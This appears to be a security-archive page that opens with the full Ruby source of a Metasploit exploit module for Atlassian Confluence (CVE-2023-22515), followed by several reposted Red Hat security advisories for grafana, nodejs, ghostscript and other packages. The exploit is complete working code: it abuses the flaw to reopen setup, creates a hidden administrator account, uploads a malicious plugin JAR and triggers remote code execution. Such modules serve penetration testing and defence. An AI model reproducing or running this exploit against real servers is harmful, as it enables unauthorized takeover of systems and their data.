This Metasploit module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for Java objects to be modified at run time. The exploit will create a new administrator user and upload a malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Retry  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP          parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for          Java objects to be modified at run time. The exploit will create a new administrator user and upload a          malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,          8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2023-22515'],          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],        ],        'DisclosureDate' => '2023-10-04',        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.        'Targets' => [          [            'Automatic',            {              'Platform' => 'java',              'Arch' => [ARCH_JAVA]            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        # By default Confluence listens for HTTP requests on TCP port 8090.        Opt::RPORT(8090),        # Confluence may have a non default base path, allow user to configure that here.        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),        # The endpoint we target to trigger the vulnerability.        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    )    return CheckCode::Unknown('Connection failed') unless res    # Ensure target is a Confluence server by identifying an expected HTTP header.    return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'    if res.code == 200 && res.body      # Pull out the version string from one of three known locations within the HTML.      m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)      if m.nil?        m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)        if m.nil?          m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)        end      end      unless m.nil?        version = Rex::Version.new(m[1])        ranges = [          ['8.0.0', '8.3.2'],          ['8.4.0', '8.4.2'],          ['8.5.0', '8.5.1']        ]        # If we have a Confluence server within the given version ranges, it appears vulnerable.        ranges.each do |min, max|          if version.between?(Rex::Version.new(min), Rex::Version.new(max))            return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")          end        end        # By here we know we have a confluence server, but the version found indicates it is safe.        return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")      end    end    # By here we have identified a Confluence server, but could not get the version number to determine if it is    # vulnerable of not.    CheckCode::Detected  end  def exploit    target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")    # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.    res = send_request_cgi(      'method' => 'POST',      'uri' => target_endpoint,      'vars_post' => {        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")    end    print_status('Creating a new administrator user account...')    # usernames must be lowercase    admin_username = rand_text_alpha_lower(8)    admin_password = rand_text_alphanumeric(8)    # 2. Create a new administrator user account.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      },      'vars_post' => {        'username' => admin_username,        'fullName' => rand_text_alphanumeric(8),        # The email address does not need to be a valid address, but it must contain an @ character.        'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",        'password' => admin_password,        'confirm' => admin_password,        'setup-next-button' => 'Next'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')    end    print_status("Created #{admin_username}:#{admin_password}")    # 3. Force the setup to become completed, to allow normal Confluence operations to continue.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')    end    print_status('Adding a malicious plugin...')    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.    res = send_request_cgi(      'method' => 'GET',      # Note, we concatenate '/' as this is required by the endpoint.      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',      'headers' => {        'Authorization' => basic_auth(admin_username, admin_password),        'Accept' => '*/*'      },      'vars_get' => {        'os_authType' => 'basic'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')    end    upm_token = res.headers['upm-token']    unless upm_token      fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')    end    begin      payload_endpoint = rand_text_alphanumeric(8)      plugin_key = rand_text_alpha(8)      # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string      # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).      jar = payload.encoded_jar(random: true)      jar.add_file(        'atlassian-plugin.xml',        %(<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">  <plugin-info>    <description>#{rand_text_alphanumeric(8)}</description>    <version>#{rand(1024)}.#{rand(1024)}</version>  </plugin-info>  <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">    <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>  </servlet></atlassian-plugin>)      )      jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))      message = Rex::MIME::Message.new      message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")      # 6. Upload the malicious plugin.      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',        'ctype' => 'multipart/form-data; boundary=' + message.bound,        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Accept' => '*/*'        },        'vars_get' => {          'token' => upm_token        },        'data' => message.to_s      )      unless res&.code == 202        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')      end      unless res.body =~ %r{<textarea>(.+)</textarea>}        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')      end      begin        plugin_json = JSON.parse(::Regexp.last_match(1))      rescue JSON::ParserError        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')      end      # We receive a JSON object like this:      # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>      links_alternate = plugin_json&.dig('links', 'alternate')      if links_alternate.nil?        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')      end      print_status('Waiting for plugin to be installed...')      # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.      plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do        res = send_request_cgi(          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, links_alternate)        )        # We receive a JSON result to indicate if the plugin is finished installing.        # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}        if res&.code == 200          begin            res_json = JSON.parse(res.body)            next res_json['done']          rescue JSON::ParserError            next false          end        end        false      end      unless plugin_ready        fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')      end      print_status('Triggering payload...')      # 8. Trigger the payload by performing a request to the malicious servlet endpoint.      res = send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)      )      unless res&.code == 200        fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    ensure      print_status('Deleting plugin...')      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as      # Confluence doesnt allow a user to delete themself.      res = send_request_cgi(        'method' => 'DELETE',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Connection' => 'close'        }      )      unless res&.code == 204        print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    end  endend

Atlassian Confluence Unauthenticated Remote Code Execution

Red Hat Security Advisory 2023-5888-01 - The Migration Toolkit for Containers 1.7.13 is now available. Issues addressed include a cross site scripting vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5888.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: Migration Toolkit for Containers (MTC) 1.7.13 security and bug fix updateAdvisory ID:        RHSA-2023:5888-01Product:            Red Hat Migration ToolkitAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5888Issue date:         2023-10-19Revision:           01CVE Names:          CVE-2023-3978====================================================================Summary: The Migration Toolkit for Containers (MTC) 1.7.13 is now available.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The Migration Toolkit for Containers (MTC) enables you to migrate Kubernetes resources, persistent volume data, and internal container images between OpenShift Container Platform clusters, using the MTC web console or the Kubernetes API.Security Fix(es):* golang.org/x/net/html: Cross site scripting (CVE-2023-3978)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-3978References:https://access.redhat.com/security/updates/classification/#moderate

Red Hat Security Advisory 2023-5888-01

Red Hat Security Advisory 2023-5869-01 - An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5869.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: nodejs:18 security update  
Advisory ID:        RHSA-2023:5869-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5869  
Issue date:         2023-10-18  
Revision:           01  
CVE Names:          CVE-2023-38552  
====================================================================

Summary: 

An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. 

Security Fix(es):

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

* nodejs: integrity checks according to policies can be circumvented (CVE-2023-38552)

* nodejs: code injection via WebAssembly export names (CVE-2023-39333)

* node-undici: cookie leakage (CVE-2023-45143)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-38552

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5869-01

Red Hat Security Advisory 2023-5868-01 - An update for ghostscript is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include a code execution vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5868.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: ghostscript security updateAdvisory ID:        RHSA-2023:5868-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5868Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-43115====================================================================Summary: An update for ghostscript is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The Ghostscript suite contains utilities for rendering PostScript and PDF documents. Ghostscript translates PostScript code to common bitmap formats so that the code can be displayed or printed.Security Fix(es):* ghostscript: GhostPDL can lead to remote code execution via crafted PostScript documents (CVE-2023-43115)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-43115References:https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-5868-01

Red Hat Security Advisory 2023-5867-01 - An update for grafana is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5867.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5867-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5867Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5867-01

Red Hat Security Advisory 2023-5866-01 - An update for grafana is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5866.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5866-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5866Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5866-01

Red Hat Security Advisory 2023-5865-01 - An update for grafana is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5865.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5865-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5865Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5865-01

Red Hat Security Advisory 2023-5864-01 - An update for grafana is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5864.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5864-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5864Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5864-01

Red Hat Security Advisory 2023-5863-01 - An update for grafana is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5863.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5863-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5863Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5863-01

Red Hat Security Advisory 2023-5851-01 - Updated images are now available for Red Hat Advanced Cluster Security (RHACS). The updated image includes new features and bug fixes. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5851.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: RHACS 4.1 enhancement and security update  
Advisory ID:        RHSA-2023:5851-01  
Product:            Red Hat Advanced Cluster Security for Kubernetes  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5851  
Issue date:         2023-10-18  
Revision:           01  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Updated images are now available for Red Hat Advanced Cluster Security (RHACS). The updated image includes new features and bug fixes.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This release of RHACS 4.1.4 includes fixes for the following security vulnerabilities:

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* Various CVEs in containers for glibc security issues

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

RHACS 4.1.4 includes a new default policy called \"Rapid Reset: Denial of Service Vulnerability in HTTP/2 Protocol\". This policy alerts on deployments with images containing components that are susceptible to a Denial of Service (DoS) vulnerability for HTTP/2 servers, based on CVE-2023-44487 and CVE-2023-39325. This policy applies to the build or deploy life cycle stage.

Solution:

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://docs.openshift.com/acs/4.1/release_notes/41-release-notes.html

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